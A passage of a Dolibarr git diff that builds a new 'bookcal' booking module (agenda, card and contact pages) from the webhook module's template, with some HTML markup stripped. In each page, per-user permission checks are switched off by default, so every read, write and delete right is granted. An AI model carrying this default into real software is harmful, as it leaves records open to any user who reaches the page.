? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; @@ -56,9 +58,8 @@ $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); if (empty($page) || $page == -1) { - // If $page is not defined, or '' or -1 $page = 0; -} +} // If $page is not defined, or '' or -1 $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; @@ -70,26 +71,25 @@ if (!$sortorder) { } // Initialize technical objects -$object = new Target($db); +$object = new Booking($db); $extrafields = new ExtraFields($db); -$diroutputmassaction = $conf->webhook->dir_output.'/temp/massgeneration/'.$user->id; -$hookmanager->initHooks(array('targetagenda', 'globalcard')); // Note that conf->hooks_modules contains array - +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('bookingagenda', 'globalcard')); // Note that conf->hooks_modules contains array // Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals if ($id > 0 || !empty($ref)) { - $upload_dir = $conf->webhook->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; + $upload_dir = $conf->bookcal->multidir_output[!empty($object->entity) ? $object->entity : $conf->entity]."/".$object->id; } // There is several ways to check permission. // Set $enablepermissioncheck to 1 to enable a minimum low level of checks $enablepermissioncheck = 0; if ($enablepermissioncheck) { - $permissiontoread = $user->rights->webhook->target->read; - $permissiontoadd = $user->rights->webhook->target->write; + $permissiontoread = $user->rights->bookcal->booking->read; + $permissiontoadd = $user->rights->bookcal->booking->write; } else { $permissiontoread = 1; $permissiontoadd = 1; @@ -100,9 +100,8 @@ if ($enablepermissioncheck) { //if ($user->socid > 0) $socid = $user->socid; //$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); //restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); -if (!isModEnabled('webhook') || !$permissiontoread) { - accessforbidden(); -} +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); /* @@ -139,21 +138,21 @@ $form = new Form($db); if ($object->id > 0) { $title = $langs->trans("Agenda"); - //if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; - $help_url = 'EN:Module_Agenda_En'; + //if (! empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; + $help_url = 'EN:Module_Agenda_En|DE:Modul_Terminplanung'; llxHeader('', $title, $help_url); - if (isModEnabled('notification')) { + if (!empty($conf->notification->enabled)) { $langs->load("mails"); } - $head = targetPrepareHead($object); + $head = bookingPrepareHead($object); - print dol_get_fiche_head($head, 'agenda', $langs->trans("Target"), -1, $object->picto); + print dol_get_fiche_head($head, 'agenda', $langs->trans("Booking"), -1, $object->picto); // Object card // ------------------------------------------------------------ - $linkback = ''.$langs->trans("BackToList").''; + $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
      '; /* @@ -163,7 +162,7 @@ if ($object->id > 0) { // Thirdparty $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); // Project - if (isModEnabled('projet')) { + if (! empty($conf->project->enabled)) { $langs->load("projects"); $morehtmlref.='
      '.$langs->trans('Project') . ' '; if ($permissiontoadd) { @@ -183,7 +182,7 @@ if ($object->id > 0) { $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); } } else { - if (!empty($object->fk_project)) { + if (! empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); $morehtmlref .= ': '.$proj->getNomUrl(); @@ -223,7 +222,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid='.urlencode($objthirdparty->id); } - $out .= (!empty($objcon->id) ? '&contactid='.urlencode($objcon->id) : '').'&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid='.urlencode($objcon->id) : ''); //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -233,7 +232,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -243,7 +242,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda') && (!empty($user->rights->agenda->myactions->read) || !empty($user->rights->agenda->allactions->read))) { - $param = '&id='.$object->id.'&socid='.$socid; + $param = '&id='.$object->id.(!empty($socid) ? '&socid='.$socid : ''); if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -252,11 +251,12 @@ if ($object->id > 0) { } - //print load_fiche_titre($langs->trans("ActionsOnTarget"), '', ''); + //print load_fiche_titre($langs->trans("ActionsOnBooking"), '', ''); // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); diff --git a/htdocs/bookcal/booking_card.php b/htdocs/bookcal/booking_card.php new file mode 100644 index 00000000000..623bf142e60 --- /dev/null +++ b/htdocs/bookcal/booking_card.php @@ -0,0 +1,569 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file booking_card.php + * \ingroup bookcal + * \brief Page to create/edit/view booking + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formprojet.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/booking.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_booking.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "other")); + +// Get parameters +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); +$lineid = GETPOST('lineid', 'int'); + +$action = GETPOST('action', 'aZ09'); +$confirm = GETPOST('confirm', 'alpha'); +$cancel = GETPOST('cancel', 'aZ09'); +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); +$backtopageforcancel = GETPOST('backtopageforcancel', 'alpha'); +$dol_openinpopup = GETPOST('dol_openinpopup', 'aZ09'); + +// Initialize technical objects +$object = new Booking($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('bookingcard', 'globalcard')); // Note that conf->hooks_modules contains array + +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +$search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); + +// Initialize array of search criterias +$search_all = GETPOST("search_all", 'alpha'); +$search = array(); +foreach ($object->fields as $key => $val) { + if (GETPOST('search_'.$key, 'alpha')) { + $search[$key] = GETPOST('search_'.$key, 'alpha'); + } +} + +if (empty($action) && empty($id) && empty($ref)) { + $action = 'view'; +} + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once. + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->rights->bookcal->booking->read; + $permissiontoadd = $user->rights->bookcal->booking->write; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php + $permissiontodelete = $user->rights->bookcal->booking->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); + $permissionnote = $user->rights->bookcal->booking->write; // Used by the include of actions_setnotes.inc.php + $permissiondellink = $user->rights->bookcal->booking->write; // Used by the include of actions_dellink.inc.php +} else { + $permissiontoread = 1; + $permissiontoadd = 1; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php + $permissiontodelete = 1; + $permissionnote = 1; + $permissiondellink = 1; +} + +$upload_dir = $conf->bookcal->multidir_output[isset($object->entity) ? $object->entity : 1].'/booking'; + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (isset($object->status) && ($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +$parameters = array(); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + $error = 0; + + $backurlforlist = dol_buildpath('/bookcal/booking_list.php', 1); + + if (empty($backtopage) || ($cancel && empty($id))) { + if (empty($backtopage) || ($cancel && strpos($backtopage, '__ID__'))) { + if (empty($id) && (($action != 'add' && $action != 'create') || $cancel)) { + $backtopage = $backurlforlist; + } else { + $backtopage = dol_buildpath('/bookcal/booking_card.php', 1).'?id='.((!empty($id) && $id > 0) ? $id : '__ID__'); + } + } + } + + $triggermodname = 'BOOKCAL_BOOKING_MODIFY'; // Name of trigger action code to execute when we modify record + + // Actions cancel, add, update, update_extras, confirm_validate, confirm_delete, confirm_deleteline, confirm_clone, confirm_close, confirm_setdraft, confirm_reopen + include DOL_DOCUMENT_ROOT.'/core/actions_addupdatedelete.inc.php'; + + // Actions when linking object each other + include DOL_DOCUMENT_ROOT.'/core/actions_dellink.inc.php'; + + // Actions when printing a doc from card + include DOL_DOCUMENT_ROOT.'/core/actions_printing.inc.php'; + + // Action to move up and down lines of object + //include DOL_DOCUMENT_ROOT.'/core/actions_lineupdown.inc.php'; + + // Action to build doc + include DOL_DOCUMENT_ROOT.'/core/actions_builddoc.inc.php'; + + if ($action == 'set_thirdparty' && $permissiontoadd) { + $object->setValueFrom('fk_soc', GETPOST('fk_soc', 'int'), '', '', 'date', '', $user, $triggermodname); + } + if ($action == 'classin' && $permissiontoadd) { + $object->setProject(GETPOST('projectid', 'int')); + } + + // Actions to send emails + $triggersendname = 'BOOKCAL_BOOKING_SENTBYMAIL'; + $autocopy = 'MAIN_MAIL_AUTOCOPY_BOOKING_TO'; + $trackid = 'booking'.$object->id; + include DOL_DOCUMENT_ROOT.'/core/actions_sendmails.inc.php'; +} + + + + +/* + * View + * + * Put here all code to build page + */ + +$form = new Form($db); +$formfile = new FormFile($db); +$formproject = new FormProjets($db); + +$title = $langs->trans("Booking"); +$help_url = ''; +llxHeader('', $title, $help_url); + +// Example : Adding jquery code +// print ''; + + +// Part to create +if ($action == 'create') { + if (empty($permissiontoadd)) { + accessforbidden($langs->trans('NotEnoughPermissions'), 0, 1); + exit; + } + + print load_fiche_titre($langs->trans("NewObject", $langs->transnoentitiesnoconv("Booking")), '', 'object_'.$object->picto); + + print '
      '; + print ''; + print ''; + if ($backtopage) { + print ''; + } + if ($backtopageforcancel) { + print ''; + } + + print dol_get_fiche_head(array(), ''); + + // Set some default values + //if (! GETPOSTISSET('fieldname')) $_POST['fieldname'] = 'myvalue'; + + print ''."\n"; + + // Common attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_add.tpl.php'; + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_add.tpl.php'; + + print '
      '."\n"; + + print dol_get_fiche_end(); + + print $form->buttonsSaveCancel("Create"); + + print '
      '; + + //dol_set_focus('input[name="ref"]'); +} + +// Part to edit record +if (($id || $ref) && $action == 'edit') { + print load_fiche_titre($langs->trans("Booking"), '', 'object_'.$object->picto); + + print '
      '; + print ''; + print ''; + print ''; + if ($backtopage) { + print ''; + } + if ($backtopageforcancel) { + print ''; + } + + print dol_get_fiche_head(); + + print ''."\n"; + + // Common attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_edit.tpl.php'; + + // Other attributes + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_edit.tpl.php'; + + print '
      '; + + print dol_get_fiche_end(); + + print $form->buttonsSaveCancel(); + + print '
      '; +} + +// Part to show record +if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'create'))) { + $res = $object->fetch_optionals(); + + $head = bookingPrepareHead($object); + print dol_get_fiche_head($head, 'card', $langs->trans("Booking"), -1, $object->picto); + + $formconfirm = ''; + + // Confirmation to delete + if ($action == 'delete') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('DeleteBooking'), $langs->trans('ConfirmDeleteObject'), 'confirm_delete', '', 0, 1); + } + // Confirmation to delete line + if ($action == 'deleteline') { + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id.'&lineid='.$lineid, $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_deleteline', '', 0, 1); + } + + // Clone confirmation + if ($action == 'clone') { + // Create an array for form + $formquestion = array(); + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('ToClone'), $langs->trans('ConfirmCloneAsk', $object->ref), 'confirm_clone', $formquestion, 'yes', 1); + } + + // Confirmation of action xxxx (You can use it for xxx = 'close', xxx = 'reopen', ...) + if ($action == 'xxx') { + $text = $langs->trans('ConfirmActionBooking', $object->ref); + /*if (! empty($conf->notification->enabled)) + { + require_once DOL_DOCUMENT_ROOT . '/core/class/notify.class.php'; + $notify = new Notify($db); + $text .= '
      '; + $text .= $notify->confirmMessage('BOOKING_CLOSE', $object->socid, $object); + }*/ + + $formquestion = array(); + /* + $forcecombo=0; + if ($conf->browser->name == 'ie') $forcecombo = 1; // There is a bug in IE10 that make combo inside popup crazy + $formquestion = array( + // 'text' => $langs->trans("ConfirmClone"), + // array('type' => 'checkbox', 'name' => 'clone_content', 'label' => $langs->trans("CloneMainAttributes"), 'value' => 1), + // array('type' => 'checkbox', 'name' => 'update_prices', 'label' => $langs->trans("PuttingPricesUpToDate"), 'value' => 1), + // array('type' => 'other', 'name' => 'idwarehouse', 'label' => $langs->trans("SelectWarehouseForStockDecrease"), 'value' => $formproduct->selectWarehouses(GETPOST('idwarehouse')?GETPOST('idwarehouse'):'ifone', 'idwarehouse', '', 1, 0, 0, '', 0, $forcecombo)) + ); + */ + $formconfirm = $form->formconfirm($_SERVER["PHP_SELF"].'?id='.$object->id, $langs->trans('XXX'), $text, 'confirm_xxx', $formquestion, 0, 1, 220); + } + + // Call Hook formConfirm + $parameters = array('formConfirm' => $formconfirm, 'lineid' => $lineid); + $reshook = $hookmanager->executeHooks('formConfirm', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if (empty($reshook)) { + $formconfirm .= $hookmanager->resPrint; + } elseif ($reshook > 0) { + $formconfirm = $hookmanager->resPrint; + } + + // Print form confirm + print $formconfirm; + + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) { + $langs->load("projects"); + $morehtmlref .= '
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) { + //if ($action != 'classify') $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' '; + $morehtmlref .= ' : '; + if ($action == 'classify') { + //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 0, 1, '', 'maxwidth300'); + $morehtmlref .= '
      '; + $morehtmlref .= ''; + $morehtmlref .= ''; + $morehtmlref .= $formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref .= ''; + $morehtmlref .= '
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + + print '
      '; + print '
      '; + print '
      '; + print ''."\n"; + + // Common attributes + //$keyforbreak='fieldkeytoswitchonsecondcolumn'; // We change column just before this field + //unset($object->fields['fk_project']); // Hide field already shown in banner + //unset($object->fields['fk_soc']); // Hide field already shown in banner + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_view.tpl.php'; + + // Other attributes. Fields from hook formObjectOptions and Extrafields. + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + + print '
      '; + print '
      '; + print '
      '; + + print '
      '; + + print dol_get_fiche_end(); + + + /* + * Lines + */ + + if (!empty($object->table_element_line)) { + // Show object lines + $result = $object->getLinesArray(); + + print '
      + + + + + + '; + + if (!empty($conf->use_javascript_ajax) && $object->status == 0) { + include DOL_DOCUMENT_ROOT.'/core/tpl/ajaxrow.tpl.php'; + } + + print '
      '; + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print ''; + } + + if (!empty($object->lines)) { + $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1); + } + + // Form to add new line + if ($object->status == 0 && $permissiontoadd && $action != 'selectlines') { + if ($action != 'editline') { + // Add products/services form + + $parameters = array(); + $reshook = $hookmanager->executeHooks('formAddObjectLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + if (empty($reshook)) + $object->formAddObjectLine(1, $mysoc, $soc); + } + } + + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print '
      '; + } + print '
      '; + + print "
      \n"; + } + + + // Buttons for actions + + if ($action != 'presend' && $action != 'editline') { + print '
      '."\n"; + $parameters = array(); + $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + if (empty($reshook)) { + // Send + if (empty($user->socid)) { + print dolGetButtonAction($langs->trans('SendMail'), '', 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=presend&mode=init&token='.newToken().'#formmailbeforetitle'); + } + + // Back to draft + if ($object->status == $object::STATUS_VALIDATED) { + print dolGetButtonAction($langs->trans('SetToDraft'), '', 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=confirm_setdraft&confirm=yes&token='.newToken(), '', $permissiontoadd); + } + + print dolGetButtonAction($langs->trans('Modify'), '', 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=edit&token='.newToken(), '', $permissiontoadd); + + // Validate + if ($object->status == $object::STATUS_DRAFT) { + if (empty($object->table_element_line) || (is_array($object->lines) && count($object->lines) > 0)) { + print dolGetButtonAction($langs->trans('Validate'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=confirm_validate&confirm=yes&token='.newToken(), '', $permissiontoadd); + } else { + $langs->load("errors"); + print dolGetButtonAction($langs->trans("ErrorAddAtLeastOneLineFirst"), $langs->trans("Validate"), 'default', '#', '', 0); + } + } + + // Clone + print dolGetButtonAction($langs->trans('ToClone'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.(!empty($object->socid)?'&socid='.$object->socid:'').'&action=clone&token='.newToken(), '', $permissiontoadd); + + /* + if ($permissiontoadd) { + if ($object->status == $object::STATUS_ENABLED) { + print dolGetButtonAction($langs->trans('Disable'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=disable&token='.newToken(), '', $permissiontoadd); + } else { + print dolGetButtonAction($langs->trans('Enable'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=enable&token='.newToken(), '', $permissiontoadd); + } + } + if ($permissiontoadd) { + if ($object->status == $object::STATUS_VALIDATED) { + print dolGetButtonAction($langs->trans('Cancel'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=close&token='.newToken(), '', $permissiontoadd); + } else { + print dolGetButtonAction($langs->trans('Re-Open'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=reopen&token='.newToken(), '', $permissiontoadd); + } + } + */ + + // Delete (need delete permission, or if draft, just need create/modify permission) + print dolGetButtonAction($langs->trans('Delete'), '', 'delete', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=delete&token='.newToken(), '', $permissiontodelete || ($object->status == $object::STATUS_DRAFT && $permissiontoadd)); + } + print '
      '."\n"; + } + + + // Select mail models is same action as presend + if (GETPOST('modelselected')) { + $action = 'presend'; + } + + if ($action != 'presend') { + print '
      '; + print ''; // ancre + + $includedocgeneration = 0; + + // Documents + if ($includedocgeneration) { + $objref = dol_sanitizeFileName($object->ref); + $relativepath = $objref.'/'.$objref.'.pdf'; + $filedir = $conf->bookcal->dir_output.'/'.$object->element.'/'.$objref; + $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; + $genallowed = $permissiontoread; // If you can read, you can build the PDF to read content + $delallowed = $permissiontoadd; // If you can create/edit, you can remove a file on card + print $formfile->showdocuments('bookcal:Booking', $object->element.'/'.$objref, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 1, 0, 0, 28, 0, '', '', '', $langs->defaultlang); + } + + // Show links to link elements + $linktoelem = $form->showLinkToObjectBlock($object, null, array('booking')); + $somethingshown = $form->showLinkedObjectBlock($object, $linktoelem); + + + print '
      '; + + $MAXEVENT = 10; + + $morehtmlcenter = dolGetButtonTitle($langs->trans('SeeAll'), '', 'fa fa-bars imgforviewmode', dol_buildpath('/bookcal/booking_agenda.php', 1).'?id='.$object->id); + + // List of actions on element + include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; + $formactions = new FormActions($db); + $somethingshown = $formactions->showactions($object, $object->element.'@'.$object->module, (is_object($object->thirdparty) ? $object->thirdparty->id : 0), 1, '', $MAXEVENT, '', $morehtmlcenter); + + print '
      '; + } + + //Select mail models is same action as presend + if (GETPOST('modelselected')) { + $action = 'presend'; + } + + // Presend form + $modelmail = 'booking'; + $defaulttopic = 'InformationMessage'; + $diroutput = $conf->bookcal->dir_output; + $trackid = 'booking'.$object->id; + + include DOL_DOCUMENT_ROOT.'/core/tpl/card_presend.tpl.php'; +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/webhook/target_contact.php b/htdocs/bookcal/booking_contact.php similarity index 81% rename from htdocs/webhook/target_contact.php rename to htdocs/bookcal/booking_contact.php index 8b6160becbb..ceec965f5b2 100644 --- a/htdocs/webhook/target_contact.php +++ b/htdocs/bookcal/booking_contact.php @@ -1,5 +1,6 @@ + * Copyright (C) 2022 Alice Adminson * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -16,46 +17,44 @@ */ /** - * \file htdocs/webhook/target_contact.php - * \ingroup webhook - * \brief Tab for contacts linked to Target + * \file booking_contact.php + * \ingroup bookcal + * \brief Tab for contacts linked to Booking */ // Load Dolibarr environment require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; -require_once DOL_DOCUMENT_ROOT.'/webhook/class/target.class.php'; -require_once DOL_DOCUMENT_ROOT.'/webhook/lib/webhook_target.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/booking.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_booking.lib.php'; // Load translation files required by the page -$langs->loadLangs(array('companies', 'other', 'mails')); +$langs->loadLangs(array("agenda", "companies", "other", "mails")); -$id = (GETPOST('id') ?GETPOST('id', 'int') : GETPOST('facid', 'int')); // For backward compatibility -$ref = GETPOST('ref', 'alpha'); +$id = (GETPOST('id') ?GETPOST('id', 'int') : GETPOST('facid', 'int')); // For backward compatibility +$ref = GETPOST('ref', 'alpha'); $lineid = GETPOST('lineid', 'int'); -$socid = GETPOST('socid', 'int'); +$socid = GETPOST('socid', 'int'); $action = GETPOST('action', 'aZ09'); // Initialize technical objects -$object = new Target($db); +$object = new Booking($db); $extrafields = new ExtraFields($db); -$diroutputmassaction = $conf->webhook->dir_output.'/temp/massgeneration/'.$user->id; -$hookmanager->initHooks(array('targetcontact', 'globalcard')); // Note that conf->hooks_modules contains array - +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('bookingcontact', 'globalcard')); // Note that conf->hooks_modules contains array // Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals -// Permissions // There is several ways to check permission. // Set $enablepermissioncheck to 1 to enable a minimum low level of checks $enablepermissioncheck = 0; if ($enablepermissioncheck) { - $permissiontoread = $user->rights->webhook->target->read; - $permission = $user->rights->webhook->target->write; + $permissiontoread = $user->rights->bookcal->booking->read; + $permission = $user->rights->bookcal->booking->write; } else { $permissiontoread = 1; $permission = 1; @@ -66,9 +65,8 @@ if ($enablepermissioncheck) { //if ($user->socid > 0) $socid = $user->socid; //$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); //restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); -if (!isModEnabled('webhook') || !$permissiontoread) { - accessforbidden(); -} +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); /* @@ -111,7 +109,7 @@ if ($action == 'addcontact' && $permission) { * View */ -$title = $langs->trans('Target')." - ".$langs->trans('ContactsAddresses'); +$title = $langs->trans('Booking')." - ".$langs->trans('ContactsAddresses'); $help_url = ''; //$help_url='EN:Module_Third_Parties|FR:Module_Tiers|ES:Empresas'; llxHeader('', $title, $help_url); @@ -132,11 +130,11 @@ if ($object->id) { /* * Show tabs */ - $head = targetPrepareHead($object); + $head = bookingPrepareHead($object); - print dol_get_fiche_head($head, 'contact', $langs->trans("Target"), -1, $object->picto); + print dol_get_fiche_head($head, 'contact', $langs->trans("Booking"), -1, $object->picto); - $linkback = ''.$langs->trans("BackToList").''; + $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
      '; /* @@ -146,7 +144,7 @@ if ($object->id) { // Thirdparty $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); // Project - if (isModEnabled('projet')) + if (! empty($conf->project->enabled)) { $langs->load("projects"); $morehtmlref.='
